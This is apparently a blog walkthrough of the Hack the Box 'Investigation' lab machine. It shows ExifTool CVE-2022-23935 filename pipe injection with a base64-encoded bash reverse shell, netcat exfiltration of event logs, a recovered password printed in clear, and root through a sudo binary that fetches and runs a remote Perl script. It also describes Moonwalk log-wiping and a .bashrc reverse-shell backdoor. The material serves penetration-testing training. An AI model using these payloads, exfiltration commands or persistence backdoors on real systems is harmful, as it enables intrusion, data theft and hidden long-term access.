top of page
BlueDolphin

Hack the Box - Investigation (Medium)



Engagement Flow

Tools used
  • Burpsuite

  • EVTX Parser by omerbenamram

  • WhatWeb

  • Netcat

  • SCP

  • Ghidra

  • Moonwalk

Tactics/Techniques
  • File upload abuse

  • CVE-2022-23935 - Pearl Version 12.38 Pipe Exploitation for RCE (Exiftool Binary)

  • Payload encoding - Base64 with padding to remove meta characters

  • Sensitive Data Exfiltration - Windows Event Logs extracted via netcat

  • Log Parsing - Windows Event Log Parsing with Grep

  • Reverse engineering - Suspicious binary

  • Covering our tracks - with Moonwalk

  • Persistence - bashrc backdoor one liner

Summary

1) Enumeration - Host

Port 22 - SSH

Port 80 - HTTP

2 ) Enumeration - Web Application

Website is hosting an online version of Exiftool

File upload function passes files to Exiftool for forensic analysis.

3) Vulnerability Identification

CVE-2022-23935 - Identified by pairing exiftool and pearl with version number

4) Exploitation - Weaponization

Testing for command injection with basic ping back command.

Final payload includes a bash reverse shell which is echoed and the shell encoded via Base64 to remove meta characters.

5) Exploitation - Delivery

File upload function is the delivery method and burpsuite is used to modify the file name to our malicious code, relying on a untrusted pipe in the file name for execution.

6) Initial foothold

User www-data with low level privileges upon successful RCE from previous step.

7) Horizontal Movement

  1. Local enumeration

  2. Discovery of log files

  3. File extraction with netcat

  4. Log review and credential extraction

  5. SSH Access as User shmorton

8) Privilege Escalation


  1. Enumeration

  2. Sudo run as permissions to /usr/local/bin

  3. Transfer binary to local machine with SCP

  4. Reverse engineer with Ghidra

  5. We learn that the binary is looking for specific arguments to perform a call back

  6. Execute binary with specific arguments and test with local RCE

  7. Execute binary on remote host with specific arguments for RCE and root

9 ) Post Exploitation

  • Covering our tracks with moonwalk

  • Persistence by adding a backdoor to the bash.rc file



 

Enumeration Host

Our surface area is small and simple. We will focus our efforts on the web application over port 80.

Image - Nmap Scan


Enumeration Web Application

Before looking at the website we can leverage the tool "whatwebb" which will gather valuable information about the application infrastructure. This can save considerable amounts of time and allow us to understand the underlying technologies of the web application.

In short our stack consist of the following:

  • Apache

  • Bootstrap

  • HTML5

  • Jquery


The detailed results can be viewed in the drop down below.

WhatWeb Results

WhatWeb report for http://eforenzics.htb/

Status : 200 OK

Title : eForenzics - Premier Digital Forensics

IP : 10.129.184.234

Country : RESERVED, ZZ


Summary : Apache[2.4.41], Bootstrap, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], JQuery[3.4.1], Meta-Author[eForenzics], Script, UncommonHeaders[upgrade]


Detected Plugins:

[ Apache ]

The Apache HTTP Server Project is an effort to develop and

maintain an open-source HTTP server for modern operating

systems including UNIX and Windows NT. The goal of this

project is to provide a secure, efficient and extensible

server that provides HTTP services in sync with the current

HTTP standards.


Version : 2.4.41 (from HTTP Server Header)

Google Dorks: (3)

Website : http://httpd.apache.org/


[ Bootstrap ]

Bootstrap is an open source toolkit for developing with

HTML, CSS, and JS.


Website : https://getbootstrap.com/


[ HTML5 ]

HTML version 5, detected by the doctype declaration



[ HTTPServer ]

HTTP server header string. This plugin also attempts to

identify the operating system from the server header.


OS : Ubuntu Linux

String : Apache/2.4.41 (Ubuntu) (from server string)


[ JQuery ]

A fast, concise, JavaScript that simplifies how to traverse

HTML documents, handle events, perform animations, and add

AJAX.


Version : 3.4.1

Website : http://jquery.com/


[ Meta-Author ]

This plugin retrieves the author name from the meta name

tag - info:

http://www.webmarketingnow.com/tips/meta-tags-uncovered.html

#author


String : eForenzics


[ Script ]

This plugin detects instances of script HTML elements and

returns the script language/type.



[ UncommonHeaders ]

Uncommon HTTP server headers. The blacklist includes all

the standard headers and many non standard but common ones.

Interesting but fairly common headers should have their own

plugins, eg. x-powered-by, server and x-aspnet-version.

Info about headers can be found at www.http-stats.com


String : upgrade (from headers)


HTTP Headers:

HTTP/1.1 200 OK

Date: Sun, 14 May 2023 19:12:38 GMT

Server: Apache/2.4.41 (Ubuntu)

Upgrade: h2

Connection: Upgrade, close

Last-Modified: Sat, 01 Oct 2022 00:31:36 GMT

ETag: "2acd-5e9ee3baeb4fd-gzip"

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 2457

Content-Type: text/html


Below is the landing page we receive when browsing to our target over http.

Image - Landing page for forenzics.htb


After crawling our target website we find that there is a file upload function on the eforenzics.htb website. This was the only interactive function found. We can safely assume this is our surface and target for exploitation. We also observe on the left that the function is represented as "Image Forensics" to receive a detailed forensic analysis in the JPG format.

Image - File upload function


Upon uploading a file to the website, of a .jpg format we are provided with a report.

Image - File upload response


Viewing the report shows us the following output. What we see is simple, the standard output of "ExifTool", a file forensics tool.

Image - Detailed analysis report after uploading a file


Vulnerability identification

In this stage we are able to quickly ascertain a valid vulnerability by researching "Exiftool 12.37 vulnerabilities" We will learn about the below CVE which is also nick named "Peral Jam" from a talk given at the BlackHat conference approximately 8 years ago. Because ExifTool uses the pearl programming language, we can proceed forwards with a high degree of confidence, knowing this vulnerability matches the version seen, and the programming language used.


The CVE scoring can be viewed below, and the specific code that was responsible for the vulnerability can be viewed below the CVE scoring.


CVE-2022-23935

https://github.com/exiftool/exiftool/commit/74dbab1d2766d6422bb05b033ac6634bf8d1f582

Image - CVE scoring


Having a look at the code which can be viewed in the link above, reveals the specifics about this vulnerability. We can initially see that on line 4092 the $mode variable defaults to read mode unless the input is a pipe. Below this, the code in green is the appended code that the developer leveraged to patch this vulnerability. We can see the developer has added a structure to determine if the pipe comes from a trusted command or its intended use.

Image - Vulnerable code and the security patch


We can see again the Trusted Pipe is now used to sanitize the pipe commands when the file upload function receives and proceeds to parse the file.

Image - Sanitizing the pipe argument with a trusted pipe function.


Vulnerability - testing and confirmation

In order to confirm if we are on the right track it is important to verify the validity of exploitation. We can do this with a basic payload such as a ping back command to confirm if we can execute commands on the target machine, through the webapplication via filenames ending with a PIPE.


We will download a .jpg file and name the file "Ping 10.10.14.20 |"

Image - Malicious file upload


Upon uploading our file, we establish a listener with tcpdump listening on our VPN interface and in-particular for ICMP traffic. This acts as evidence and confirmation of exploitation.

Image - Ping back from our malicious file


Exploitation - Weaponization

In this phase, we will move forwards by custom crafting our payload. This phase was time intensive, as the web application does not accept meta or illegal characters such as ": ; / \ ( ) { } ".

I was able to ascertain this, after trying approximately a dozen payloads, including python, tcp, perl and bash reverse shells. What would happen, is the file upload would hang with every reverse shell payload. So I attempted to pass a ping back command, which we have verified as working in the previous phase. By adding those illegal/meta characters to the ping back command, it did not work.


This is where things get tricky and we will have to re-write our payload and encode our reverse shell. We will be encoding in base64 as this is a native library included on all unix systems. The challenge however, is that base64 produces an illegal character '='. We will address this by padding our payload with white space to remove the equals sign.


We will then have to expand our payload to include the commands to decode base 64 on the target machine, so we will use burpsuite for this, as we can't create a file names with multiple quotes, as this will be a multi command payload.


We generate our base 64 encoded payload, but we have to remove the = character. We can accomplish this by padding white space as seen below.

└─$ echo "bash -i >& /dev/tcp/10.10.14.20/6363  0>&1" | base64 
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC82MzYzICAwPiYxCg==

This difference is so subtle with white space after the port and before the STANDOUT.


└─$ echo "bash -i >& /dev/tcp/10.10.14.20/6363    0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC82MzYzICAgIDA+JjEK

We now take the base64 encoded payload with the meta characters eliminated via padding.

We construct the payload to include an initial echo statement for the remote command line to enter the string into memory, we can base64 -d to decode the encoded payload, and we pipe it into bash finally to execute.


"echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC82MzYzICAgIDA+JjEK' | base64 -d | bash |"

Exploitation - Delivery

In this phase we must deliver our payload to the target machine.

We will take our payload above and pass it to the target server by leveraging burp suite to append the file name. We cannot create a file with the full name of our command. At least I couldn't figure it out, as the double quotes and pipes seemed to be competing with one another.


Image - Custom payload injected to the filename via burp


Initial foothold as user www-data

With a custom crafted payload, and a means of delivery we are able to gain a remote shell as user www-data We simply spin up a listener and send our custom crafted payload, via burp suite to the servers file upload function and we receive a reverse shell as user www-data as seen below.


Image - Listener catching and opening our reverse shell


Horizontal Movement

Enumeration

As user www-data we have limited permissions. We will have to move horizontally in order to find a path to root. Some basic enumeration shows an out of place file that has several windows event logs contained inside.


www-data@investigation:/usr/local/investigation$ ls

Windows Event Logs for Analysis.msg
analysed_log

File extraction

We will need to exfiltrate these logs to our local system for further analysis. We can conduct a file transfer to our host machine with the netcat command as long as it is present on the target machine.


On the receiving end running,

nc -l -p 4444 > out.file

will begin listening on port 4444.


On the sending end run the following.

nc -w 3 10.10.14.20 4444 < 'Windows Event Logs for Analysis.msg'

This will connect to the receiver and begin sending file.


Analyzing the logs reveals we have a Microsoft Outlook Message. Just incase there is an attachment here, or perhaps an embedded Macro, I will utilize binwalk to check for any packed files or binaries. If they are found, we can extract them using binwalk with the "-e" flag.

└─$ file out.file 
out.file: CDFV2 Microsoft Outlook Message

Utilizing the binwalk binary we are able to confirm there is indeed compressed data associated with this Microsoft Outlook Message.

└─$ binwalk out.file 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
29696         0x7400          Zip archive data, at least v2.0 to extract, compressed size: 1276467, uncompressed size: 15798272, name: security.evtx
1306265       0x13EE99        End of Zip archive, footer length: 22
1307800       0x13F498        LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 4587520 bytes

Viewing the extracted data below, we find a windows log file.

┌──(kali㉿kali)-[~/HTB/investigation/_out.file.extracted]
└─$ ls
13F498.7z  7400.zip  security.evtx
                                                                                                                                                            
┌──(kali㉿kali)-[~/HTB/investigation/_out.file.extracted]
└─$ file security.evtx 
security.evtx: MS Windows Vista Event Log, 238 chunks (no. 237 in use), next record no. 20013


Here we leverage a evtx log parser by omerben, in particular the gnu executable.

./evtx_dump-v0.8.1-x86_64-unknown-linux-gnu _out.file.extracted/security.evtx > parsedfile

Looking through the file revealed there was a list of user names assigned to a variable "TargetUsername". We first need to gather all lines of data that have that string inside of them. We accomplish this with "cat file | Grep TargetUsername" > namelist.


From here we have tons of duplicate entries, so I have to sort this list and output only unique entries which is accomplished with "sort filename --unique > parsednamelist.

sort usernamelist --unique. There is a password in the file below that allows us to SSH onto the machine. If we look at available users on the compromised host via "cat /etc/passwd" there are several so we will try them all with the below password.



    <Data Name="TargetUserName">aanderson</Data>
    <Data Name="TargetUserName">AAnderson</Data>
    <Data Name="TargetUserName">Administrator</Data>
    <Data Name="TargetUserName">Administrators</Data>
    <Data Name="TargetUserName">AWright</Data>
    <Data Name="TargetUserName">Backup Operators</Data>
    <Data Name="TargetUserName">BMay</Data>
    <Data Name="TargetUserName">-</Data>
    <Data Name="TargetUserName">DefaultAccount</Data>
    <Data Name="TargetUserName">Def@ultf0r3nz!csPa$$</Data>
    <Data Name="TargetUserName">EFORENZICS-DI$</Data>
    <Data Name="TargetUserName">EKora</Data>
    <Data Name="TargetUserName">Guest</Data>
    <Data Name="TargetUserName">hmarley</Data>
    <Data Name="TargetUserName">HMarley</Data>
    <Data Name="TargetUserName">hmraley</Data>
    <Data Name="TargetUserName">IPerez</Data>
    <Data Name="TargetUserName">JClark</Data>
    <Data Name="TargetUserName">KTyson</Data>
    <Data Name="TargetUserName">ljenkins</Data>
    <Data Name="TargetUserName">LJenkins</Data>
    <Data Name="TargetUserName">lmonroe</Data>
    <Data Name="TargetUserName">LMonroe</Data>
    <Data Name="TargetUserName">LOCAL SERVICE</Data>
    <Data Name="TargetUserName">smorton</Data>
    <Data Name="TargetUserName">SMorton</Data>
    <Data Name="TargetUserName">SYSTEM</Data>
    <Data Name="TargetUserName">WDAGUtilityAccount</Data>

The password works with user smorton and we are in with intermediate level permissions.

Image - access as user smorten


Privilege Escalation to root

In this phase our enumeration is minimal and user smorton has sudo permissions to run a binary literally called binary.

smorton@investigation:~$ sudo -l

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary

We will need to transfer this binary to our local machine to reverse engineer and and learn about the binary. We can accomplish this with SCP.

scp smorton@eforenzics.htb:/usr/bin/binary .

With the binary on our system we can reverse engineer it with Ghidra to learn more about it.


Here is the main function as seen in Ghidra.


undefined8 main(int param_1,long param_2)

{
  __uid_t _Var1;
  int iVar2;
  FILE *__stream;
  undefined8 uVar3;
  char *__s;
  char *__s_00;
  
  if (param_1 != 3) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _Var1 = getuid();
  if (_Var1 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
  if (iVar2 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Running... ");
  __stream = fopen(*(char **)(param_2 + 0x10),"wb");
  uVar3 = curl_easy_init();
  curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
  curl_easy_setopt(uVar3,0x2711,__stream);
  curl_easy_setopt(uVar3,0x2d,1);
  iVar2 = curl_easy_perform(uVar3);
  if (iVar2 == 0) {
    iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
    __s = (char *)malloc((long)iVar2 + 1);
    snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
    iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
    __s_00 = (char *)malloc((long)iVar2 + 1);
    snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
    fclose(__stream);
    curl_easy_cleanup(uVar3);
    setuid(0);
    system(__s_00);
    system("rm -f ./lDnxUysaQn");
    return 0;
  }
  puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

The code provided appears to be a C function named main that takes two parameters: an integer param_1 and a long integer param_2. Let's go through the code step by step:


1. Checking the number of command-line arguments:


if (param_1 != 3) {
   puts("Exiting... ");
   exit(0); 
   }

This code block checks if the value of param_1 is not equal to 3. If it is not equal, it prints "Exiting..." and terminates the program using exit(0).


2. Checking the user ID:

_Var1 = getuid();
 if (_Var1 != 0) {
    puts("Exiting... ");   
    exit(0); }

This block uses the getuid() function to retrieve the user ID. It checks if the user ID is not equal to 0 (which typically represents the root user). If it's not equal to 0, it prints "Exiting..." and terminates the program.


3. Comparing a string:

iVar2 = strcmp(*(char **)(param_2 + 0x10), "lDnxUysaQn"); 
if (iVar2 != 0) {   
puts("Exiting... ");   
exit(0); }

This block compares the string located at the memory address *(char **)(param_2 + 0x10) with the string literal "lDnxUysaQn" using the strcmp() function. If the strings are not equal, it prints "Exiting..." and terminates the program.


4. File operations and network request

__stream = fopen(*(char **)(param_2 + 0x10), "wb");
uVar3 = curl_easy_init();
curl_easy_setopt(uVar3, 0x2712, *(undefined8 *)(param_2 + 8));
curl_easy_setopt(uVar3, 0x2711, __stream);
curl_easy_setopt(uVar3, 0x2d, 1);
iVar2 = curl_easy_perform(uVar3);

This section opens a file specified by the string at the memory address *(char **)(param_2 + 0x10) in write binary mode using fopen(). Then, it initializes a curl easy handle (uVar3) using curl_easy_init(). Several options are set using curl_easy_setopt(), including the URL (*(undefined8 *)(param_2 + 8)), the output file (__stream), and the option with code 0x2d set to 1. Finally, it performs the curl request using curl_easy_perform() and stores the result in iVar2.


5. Handling the result and executing system commands:


if (iVar2 == 0) {
  // Snippet 1
}
else {
  exit
}

If the value of iVar2 is equal to 0, it means the curl request was successful. In this case, it executes the code in "Snippet 1". Otherwise, it exits

Snippet 1:


    iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
    __s = (char *)malloc((long)iVar2 + 1);
    snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
    iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
    __s_00 = (char *)malloc((long)iVar2 + 1);
    snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
    fclose(__stream);
    curl_easy_cleanup(uVar3);
    setuid(0);
    system(__s_00);
    system("rm -f ./lDnxUysaQn");
    return 0;

This snippet performs the following steps: - It calculates the length of the string at the memory address `*(undefined8 *)(param_2 + 0x10)` using `snprintf()`. - It allocates memory for a newstring`__s`with a size of`iVar2 + 1`. - It copies the content of the string at the memory address `*(undefined8 *)(param_2 + 0x10)` to the string`__s`. - It calculates the length of a formatted string using `snprintf()`. - It allocates memory for a newstring`__s_00`with a size of`iVar2 + 1`. - It copies the formatted string`"perl ./%s"`with`__s`as the argument to `__s_00`. - It closes the file `__stream`. - It cleans up the curl easy handle `uVar3`. - It sets the user ID to 0 using `setuid(0)`. - It executes the system command stored in`__s_00`. - It executes the system command `"rm -f ./lDnxUysaQn"`. - Finally, it returns 0.

 

The final block of code seems like obfuscation with fluff operations to slow down the time it takes for a security analyst to grasp the logic flow. With this being said, our 3 arguments are the following.


  1. Binary execution

  2. Curl string

  3. Random compare string

Our final command to achieve root looks like:

sudo binary 10.10.14.20/reverse.pl lDnxUysaQn



The binary then makes a curl request to our machine where we have a python3 simple server hosting the reverse.pl script (Not a one liner) and reverse shell, then accepts the key, and executes in pearl giving us a reverse connection.

Post Exploitation

Covering our tracks with Moonwalk


Moonwalk is a 400 KB single-binary executable that can be used to clear traces during Linux Exploitation/Penetration Testing by leaving zero traces on system logs and filesystem timestamps. It saves the state of system logs pre-exploitation and reverts that state, including the filesystem timestamps post-exploitation, leaving zero traces of a ghost in the shell.01 Moonwalk is not to be confused with Spacewalk, an open-source Linux systems management solution that is the upstream community project from which the Red Hat Satellite product is derived.


Persistence

When a user logs into a system, their login shell, often Bash (/bin/bash), reads and executes the .bashrc file located in their home directory. Attackers can leverage this behavior to add a reverse shell or execute remote scripts.

  1. Understanding the .bashrc file: The .bashrc file contains configuration settings and customizations for an individual user's Bash shell. It is executed each time the user opens an interactive shell session, such as logging in via SSH or opening a terminal.

  2. Identifying the target user: We need to identify the target user whose .bashrc file they want to modify. This typically requires prior knowledge of which users regularly log into the compromised machine.

  3. Adding a reverse shell: A reverse shell allows us to establish a connection from the compromised system to their own system, providing them with interactive command execution on the compromised machine. Attackers can add a reverse shell one-liner to the target user's .bashrc file. This way, each time the user logs in, the reverse shell connects back to the attacker's machine.

  4. Executing remote scripts: Alternatively, instead of a reverse shell, attackers can modify the .bashrc file to execute remote scripts. This can be achieved using curl or other similar tools to download and execute a script from a remote server. By embedding this command in the .bashrc file, the script will be executed every time the user opens an interactive shell session.

  5. Maintaining persistence: By modifying the .bashrc file, the attacker ensures that their malicious code executes every time the user logs in. This allows the attacker to regain access to the compromised system repeatedly without raising suspicion.

THE END



144 views0 comments

Comments


bottom of page